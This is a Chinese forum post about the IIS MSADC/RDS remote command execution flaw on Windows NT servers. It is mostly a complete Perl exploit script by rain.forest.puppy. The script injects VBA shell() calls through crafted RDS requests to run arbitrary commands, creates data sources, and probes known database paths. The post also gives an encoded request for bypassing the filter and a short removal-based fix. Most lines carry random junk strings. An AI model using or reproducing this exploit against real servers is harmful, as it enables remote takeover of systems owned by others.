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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Bv 7os3xb  
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涉及程序: 0"mr*hyj  
Microsoft NT server - G=doP0  
mU>lm7'  
描述: 7aHP;X~0  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 tYhNr  
~#=70  
详细: Et&PzDvU  
如果你没有时间读详细内容的话,就删除: U@LIw6B!KL  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Z..s /K {  
有关的安全问题就没有了。 =o[H2o y  
&(NxkZp!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 VexQ ]  
22EI`}"J  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 r <2&_$|  
关于利用ODBC远程漏洞的描述,请参看: ca'c5*Fs  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [-nPHmZV[  
fTi5Ej*/?)  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 X $SXDb~G  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #\6k_toZ  
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这里不再论述。 58PL@H~@0  
xv_Z$&9e>l  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~01t_Xp qc  
T ?{F7  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &M #}?@!C  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9#\oGzDN  
t<SCrLbz  
41i#w;ojI  
#将下面这段保存为txt文件,然后: "perl -x 文件名" L#MMNc+  
n-CFB:L  
#!perl /,+&O#SX  
# |bk$VT4\  
# MSADC/RDS 'usage' (aka exploit) script =qww|B92  
# 9y;zk$O8  
# by rain.forest.puppy jjg[v""3|  
# r@G34Q C+  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 4z^VwKH\j  
# beta test and find errors! &C6*"JZ4  
S|_"~Nd=  
use Socket; use Getopt::Std; c,5yH  
getopts("e:vd:h:XR", \%args); L ?S#3@Pa  
Ots]y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; S\6.vw!'  
8q|T`ac+N  
if (!defined $args{h} && !defined $args{R}) { )fbYP@9>a  
print qq~ ?b?YiK&yz  
Usage: msadc.pl -h <host> { -d <delay> -X -v } AN+S6t  
-h <host> = host you want to scan (ip or domain) o_.`&Q6n  
-d <seconds> = delay between calls, default 1 second vk3C&!M<a  
-X = dump Index Server path table, if available Bv^5L>JZ/  
-v = verbose .Q DeS|l  
-e = external dictionary file for step 5 P5Pb2|\*  
Y58et9gRO  
Or a -R will resume a command session piAFxS<6  
v.>95|8  
~; exit;} [9~6, ;6  
ov|pXi<e  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; WCg&*  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Q&&oP:4~X*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {BD G;e  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); x,QXOh\a  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Jy-V\.N>s  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8LGNV&Edg  
OJ<V<=MYZ  
if (!defined $args{R}){ $ret = &has_msadc; l'Uj"9r,  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} {\n?IGP?wd  
uiaZ@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" P:m6:F@hO  
. "cmd /c "; N[sJ5oF  
$in=<STDIN>; chomp $in; Rrp-SR?O  
$command="cmd /c " . $in ; A 7zL\U4  
nZ# 0L`@"Y  
if (defined $args{R}) {&load; exit;} _O`s;oc  
' -rRD\"q  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]=(PtzVa  
&try_btcustmr; .\"8H1I\T  
rpv<'$6  
print "\nStep 2: Trying to make our own DSN..."; b yX)4&  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; e0`5PVJ  
Vv*](iM  
print "\nStep 3: Trying known DSNs..."; Gg5+Ap D  
&known_dsn; > |(L3UA9  
'E4}++\  
print "\nStep 4: Trying known .mdbs..."; Eu$hC]w  
&known_mdb; oN=>U"<\1  
bA/'IF+  
if (defined $args{e}){ Z4D[nPm$  
print "\nStep 5: Trying dictionary of DSN names..."; X=%e'P*X  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } t+A9nvj)  
4&G #Bi  
print "Sorry Charley...maybe next time?\n"; *m[[>wE  
exit; [(Ihue  
H ~lvUHN  
############################################################################## ZO]P9b  
a}'dIDj  
sub sendraw { # ripped and modded from whisker d, 0Klew  
sleep($delay); # it's a DoS on the server! At least on mine... HEe_K!_  
my ($pstr)=@_; k6(0:/C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || l6pvQ|  
die("Socket problems\n"); v`r*Yok;`  
if(connect(S,pack "SnA4x8",2,80,$target)){ :} DTK  
select(S); $|=1; 4 Xe8j55  
print $pstr; my @in=<S>; iB5'mb*  
select(STDOUT); close(S); +*x9$LSD  
return @in; m[Cp G=32B  
} else { die("Can't connect...\n"); }} # 2?3B  
\ 9#X]H  
############################################################################## gh.+}8="  
.:B;%*  
sub make_header { # make the HTTP request NPLJ*uHH  
my $msadc=<<EOT TECp!`)j"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |eP5iy wg  
User-Agent: ACTIVEDATA FR6 PY  
Host: $ip @J<RFgw#  
Content-Length: $clen *)s^+F 0  
Connection: Keep-Alive ]+T$ D  
QQ./!   
ADCClientVersion:01.06 F?b"Rv  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Zo}vV2  
Z~ u3{  
--!ADM!ROX!YOUR!WORLD! fY!9i5@'  
Content-Type: application/x-varg cs*"9nKl  
Content-Length: $reqlen c2:oM<6|  
+w8$-eFY  
EOT n {..Q,z  
; $msadc=~s/\n/\r\n/g; tiF-lq  
return $msadc;} FM<`\ d'  
?{wD%58^oG  
############################################################################## ?vmoRX  
;e6- *  
sub make_req { # make the RDS request __`6 W1  
my ($switch, $p1, $p2)=@_; S%df'bh$  
my $req=""; my $t1, $t2, $query, $dsn; q5\iQ2f{WV  
#E#Fk3-ljQ  
if ($switch==1){ # this is the btcustmr.mdb query Nu@dMG<5  
$query="Select * from Customers where City=" . make_shell(); | &/_{T  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . e;9x%kNs!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Mt&n|']`8  
@nIoIz D~  
elsif ($switch==2){ # this is general make table query gPIl:, d(  
$query="create table AZZ (B int, C varchar(10))"; !EGpI@  
$dsn="$p1";} E_Fm5zb?X  
K7wU tg  
elsif ($switch==3){ # this is general exploit table query h8icF}m  
$query="select * from AZZ where C=" . make_shell(); [R<>3}50Y  
$dsn="$p1";} L$v<t/W  
OuyO_DSI  
elsif ($switch==4){ # attempt to hork file info from index server k\\e`=  
$query="select path from scope()"; `Nv P)|  
$dsn="Provider=MSIDXS;";} #{@qC2!2/  
_,3%)sn-)  
elsif ($switch==5){ # bad query z[0tM&pv  
$query="select"; 2W }j bOy  
$dsn="$p1";} u=7 #_ZC9L  
piXL6V@c  
$t1= make_unicode($query); #?'@?0<6  
$t2= make_unicode($dsn); ;Swy5z0=ro  
$req = "\x02\x00\x03\x00"; g1~wg$`S8S  
$req.= "\x08\x00" . pack ("S1", length($t1)); L+8O 4K{  
$req.= "\x00\x00" . $t1 ; s \0,@A   
$req.= "\x08\x00" . pack ("S1", length($t2)); C@u}tH )  
$req.= "\x00\x00" . $t2 ; I?_WV_T&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; x;A.Ll  
return $req;} "%#CMCE|f  
5E =!L g  
############################################################################## &.P G2f*  
HF*j=qt!  
sub make_shell { # this makes the shell() statement n _kE  
return "'|shell(\"$command\")|'";} ' 1X^@]+6  
,>Dpt <  
############################################################################## }H|'W[Q.  
F12$BK DH  
sub make_unicode { # quick little function to convert to unicode 5-UrHbpCZ#  
my ($in)=@_; my $out; kc<5wY_t  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } lLLPvW[Q  
return $out;} WG +]  
~bz$]o-<  
############################################################################## 9K-,#a  
uo bQS!  
sub rdo_success { # checks for RDO return success (this is kludge) vb3hDy  
my (@in) = @_; my $base=content_start(@in); ? 0+N  
if($in[$base]=~/multipart\/mixed/){ svtqX-Vj"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ?%$~Bb _  
return 0;} yYdh+x  
d '\ ^S}  
############################################################################## ~vcua@  
^0?ww&X  
sub make_dsn { # this makes a DSN for us v ,zD52  
my @drives=("c","d","e","f"); 15d'/f  
print "\nMaking DSN: "; -K/c~'%'*  
foreach $drive (@drives) { f6 s .xQ  
print "$drive: "; 9U Hh#  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . hx ^l  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 0bOT&Z^  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ua,!kyS  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #44}Snz  
return 0 if $2 eq "404"; # not found/doesn't exist QwL*A `@  
if($2 eq "200") { 25<qo{  
foreach $line (@results) { $GYy[8{:V  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1p=bpJC  
} return 0;} `cPZsL  
2a*+mw  
############################################################################## *E+VcU  
eOx8D|^W  
sub verify_exists { @U9`V&])F[  
my ($page)=@_; dFmpx%+p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ay]l\d2!3  
return $results[0];} Y7;=\/SV  
tl`x/   
############################################################################## zR )/h   
LIT`~D  
sub try_btcustmr { NDJP`FI  
my @drives=("c","d","e","f"); t:b}Mo0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); W j`f^^\HJ  
|Qn>K   
foreach $dir (@dirs) { t<"%m)J  
print "$dir -> "; # fun status so you can see progress &"7+k5O  
foreach $drive (@drives) { $LiBJ~vV<  
print "$drive: "; # ditto .yD5>iBh  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; )a9C3-8Y'  
$reqlenlen=length( "$reqlen" ); POf xN.  
$clen= 206 + $reqlenlen + $reqlen; J0B*V0'zR  
}z qo<o  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); i*@ZIw  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} %,e,KcP'  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} _7~q|  
x=kJl GT  
############################################################################## z m]R76  
{a15s6'd  
sub odbc_error { @!^Y_q  
my (@in)=@_; my $base; $k`j";8uR  
my $base = content_start(@in); 5 ed|]LP  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (LJ7xoJ^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `ZT/lB`  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; JP^\   
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *Ea)b -  
return $in[$base+4].$in[$base+5].$in[$base+6];} AQ,"):ofvT  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; oTrit_@3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Wevd6)\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} &h_Y?5kK  
t+\<i8  
############################################################################## }pGjc_:']  
sE ^YOT<  
sub verbose { 6cD3(//  
my ($in)=@_; ^f9@ =I  
return if !$verbose; /:"^,i\t  
print STDOUT "\n$in\n";} ]c bXI  
R7O<>kt  
############################################################################## ^E.mG>  
e X6o 7a  
sub save { Q<KF<K'0hg  
my ($p1, $p2, $p3, $p4)=@_; GMB3`&qh  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; sL ;;'S&  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; <[u(il  
close OUT;} GVfRy@7n  
ddd2w  
############################################################################## 1(RRjT 9  
I:6XM?  
sub load { &Pc.[k  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; /1$u|Gs *  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 7|jy:F,w%  
@p=<IN>; close(IN); VLJ]OW8cO  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); fxmY,{{  
$target= inet_aton($ip) || die("inet_aton problems"); J _q  
print "Resuming to $ip ..."; p<?lF   
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a*iKpr-:  
if($p[1]==1) { @!}/$[hu1  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; A.h0H]*Ma  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \v$zU  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {Ppb ;  
if (rdo_success(@results)){print "Success!\n";} 7U^{xDg.b  
else { print "failed\n"; verbose(odbc_error(@results));}} N(3Bzd)   
elsif ($p[1]==3){ kDxI7$]E  
if(run_query("$p[3]")){ EBiLe;=X  
print "Success!\n";} else { print "failed\n"; }} Z  
elsif ($p[1]==4){ O+/{[9s  
if(run_query($drvst . "$p[3]")){ Zj_2B_|WN#  
print "Success!\n"; } else { print "failed\n"; }} L,ax^]  
exit;}  wG6Oz2(  
pred{HEye  
############################################################################## h:sf?X[  
Db;>MWt+e  
sub create_table { '-Oh$hqCx|  
my ($in)=@_; |o*qZ}6  
$reqlen=length( make_req(2,$in,"") ) - 28; .v+ W>  
$reqlenlen=length( "$reqlen" ); dBS_N/  
$clen= 206 + $reqlenlen + $reqlen; ~*]7f%L-  
my @results=sendraw(make_header() . make_req(2,$in,"")); G9GHBwT  
return 1 if rdo_success(@results); 06Q9X!xD  
my $temp= odbc_error(@results); verbose($temp); s^4wn:*$zd  
return 1 if $temp=~/Table 'AZZ' already exists/; 0)7v _|z  
return 0;} +5 gX6V\  
fEiNHVx  
############################################################################## ] w0Y5H "  
{47Uu%XT  
sub known_dsn { Y3s8@0b3  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go mAET`B "  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", mN.  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", S)W?W}*R\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ecO$L<9>  
ma!C:C9#J  
foreach $dSn (@dsns) { >< P<k&  
print "."; 7=Pj}x)  
next if (!is_access("DSN=$dSn")); j>l  
if(create_table("DSN=$dSn")){ hJ8% r_  
print "$dSn successful\n"; 2I& dTxIa  
if(run_query("DSN=$dSn")){ DY{v@ <3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { G)c+GoK  
print "Something's borked. Use verbose next time\n";}}} print "\n";} <a&xhG}  
aQf2}kD  
############################################################################## lQ4^I^?m  
_MuzD&^qE  
sub is_access { uXvE>VpJG  
my ($in)=@_; G N=8;Kq%  
$reqlen=length( make_req(5,$in,"") ) - 28; R y(<6u0  
$reqlenlen=length( "$reqlen" ); B&<5VjZ\  
$clen= 206 + $reqlenlen + $reqlen; MgN;[4|[h  
my @results=sendraw(make_header() . make_req(5,$in,"")); z`I%3U5(  
my $temp= odbc_error(@results); _[i.)8$7  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); dw!Xt@,[g{  
return 0;} @ &rf?:  
q/Ji}NGm  
############################################################################## QMmZvz\^  
aBQ@n  
sub run_query { qn{4AWmJ  
my ($in)=@_; %s9*?6  
$reqlen=length( make_req(3,$in,"") ) - 28; @<X[,Mj  
$reqlenlen=length( "$reqlen" ); dm40qj  
$clen= 206 + $reqlenlen + $reqlen; [O|c3;  
my @results=sendraw(make_header() . make_req(3,$in,"")); Qh6 vH9(D  
return 1 if rdo_success(@results); j 9GKz1  
my $temp= odbc_error(@results); verbose($temp); e'c3.sQ|?  
return 0;} 'HCRi Z<  
;l<Hen*  
############################################################################## m7Ry FnR2  
.j"heYF)  
sub known_mdb { x\yr~$}(J  
my @drives=("c","d","e","f","g"); ;]=@;? 9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); JUXBMYFus  
my $dir, $drive, $mdb; !0|&f>y  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; L<XX?I\p  
[+#k+*1*o  
# this is sparse, because I don't know of many \ bWy5/+  
my @sysmdbs=( "\\catroot\\icatalog.mdb", wZbT*rU  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", $sZ4r>-  
"\\system32\\certmdb.mdb", SG&H^V8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% f)gV2f0t  
yx6^ mis4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", `[XH=-p  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 0;,Y_61  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ;=E}PbZt2  
"\\cfusion\\cfapps\\security\\realm_.mdb", HZS.%+2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m!!;CbPo  
"\\cfusion\\database\\cfexamples.mdb", 6 b?K-)kL  
"\\cfusion\\database\\cfsnippets.mdb", R/Sm  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &gJ@"`r4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |u$*'EsP  
"\\cfusion\\brighttiger\\database\\cleam.mdb", w)1SZ }  
"\\cfusion\\database\\smpolicy.mdb", WE_'u+!B  
"\\cfusion\\database\cypress.mdb", sSD&'K=lq  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", yd'cLZd<}  
"\\website\\cgi-win\\dbsample.mdb", 7}~nQl2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", .x/H2r'1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" !vc 5NKv#n  
); #these are just ~k?t  
foreach $drive (@drives) { xaV3N[Zd  
foreach $dir (@dirs){ Z![#Uz.z  
foreach $mdb (@sysmdbs) {  G;A  
print "."; ]W%rhppC  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ qoZAZ&|HI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; u`oJ3mS;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ <Hz11 }<(  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; CDW| cr{  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 7~ZG"^k  
SrOv* D3  
foreach $drive (@drives) { kkj@!1q(wO  
foreach $mdb (@mdbs) { >yqEXx5{  
print "."; #)#'^MZX  
if(create_table($drv . $drive . $dir . $mdb)){  2t  
print "\n" . $drive . $dir . $mdb . " successful\n"; ;A*sub  
if(run_query($drv . $drive . $dir . $mdb)){ .>PwbZ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; K:Z,4Y  
} else { print "Something's borked. Use verbose next time\n"; }}}} A)d0Z6G`  
} E5c)\ D  
<5CQ#^ cK  
############################################################################## e%{7CR'~TD  
66+]D4(k  
sub hork_idx { 9)j"|5H  
print "\nAttempting to dump Index Server tables...\n"; KBI 1t$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; d4Y[}Fcp+  
$reqlen=length( make_req(4,"","") ) - 28; IF//bgk-  
$reqlenlen=length( "$reqlen" ); -GQ.B{%G  
$clen= 206 + $reqlenlen + $reqlen; T2mZkK?rA  
my @results=sendraw2(make_header() . make_req(4,"","")); V/R@ =[  
if (rdo_success(@results)){ L;b-=mF  
my $max=@results; my $c; my %d; (5[#?_~  
for($c=19; $c<$max; $c++){ 36.mf_AM  
$results[$c]=~s/\x00//g; 6(1 &6|o3  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; S_VzmCi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; -~lrv#5Q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; !VrBoU4<d  
$d{"$1$2"}="";} irjHPuhcG  
foreach $c (keys %d){ print "$c\n"; } akHQ&+[j  
} else {print "Index server doesn't seem to be installed.\n"; }} |L-- j  
I>-}ys`[  
############################################################################## *]kE3  
r.:f.AY{  
sub dsn_dict { q?L*Luu+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  wJvk  
while(<IN>){ G`;mSq6i  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; F%{z E ANm  
next if (!is_access("DSN=$dSn")); b Hy<`p0  
if(create_table("DSN=$dSn")){ [ei5QSL |  
print "$dSn successful\n"; I9U 8@e!X  
if(run_query("DSN=$dSn")){  Y!|};  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (.{."  
print "Something's borked. Use verbose next time\n";}}} m5KLi &R  
print "\n"; close(IN);} QEx&AT  
=Q|s[F  
############################################################################## \(5Bi3PA}  
AJRiwP|H+  
sub sendraw2 { # ripped and modded from whisker }2Im?Q  
sleep($delay); # it's a DoS on the server! At least on mine... 8-K4*(-dL  
my ($pstr)=@_; {z'Gg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YsO`1D  
die("Socket problems\n"); Rob: W|  
if(connect(S,pack "SnA4x8",2,80,$target)){ aIWpgUd`  
print "Connected. Getting data"; (ijO|%?  
open(OUT,">raw.out"); my @in; MU N:}S  
select(S); $|=1; print $pstr; =3,Sjme  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} nXxnyom,  
close(OUT); select(STDOUT); close(S); return @in; p4b6TI9;  
} else { die("Can't connect...\n"); }} :4COPUBpPV  
[FWB  
############################################################################## W}wd?WIps  
H@k$sZ.  
sub content_start { # this will take in the server headers ^1--7#H  
my (@in)=@_; my $c; 2Paw*"U  
for ($c=1;$c<500;$c++) { #KtV4)(  
if($in[$c] =~/^\x0d\x0a/){ P|aSbsk:I<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } FOcDBCrOe  
else { return $c+1; }}} ab6D&  
return -1;} # it should never get here actually Mq6_Q07  
`]Vn[^?D  
############################################################################## $,T3vX]<  
.3 ^*_  
sub funky { q#Ik3 5  
my (@in)=@_; my $error=odbc_error(@in); Yc(lY N  
if($error=~/ADO could not find the specified provider/){ _ `7[}M~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; _)# ~D*3  
exit;} (fO~nN{F  
if($error=~/A Handler is required/){ $>%zNq-F  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6(HJYa  
exit;} L+)mZb&  
if($error=~/specified Handler has denied Access/){ qZSW5lC0  
print "\nServer has custom handler filters (they most likely are patched)\n"; !|Y&h0e  
exit;}} ? 5hwz  
"n<u(m8E  
############################################################################## +,9Mufh  
'9|R7  
sub has_msadc { ^}GR!990  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); e}L(tXZ  
my $base=content_start(@results); ;[Hrpl S  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  R"PO@v  
return 0;} Q@UY4gA '  
q{)Q ?E  
######################## %E2C4UbY  
.>( qZEF  
E95VR?nUg  
解决方案: ]m^ECA$  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll .MRLA G  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 XpOQBXbt  
gr$H?|n l  
拿出来充数 哈哈
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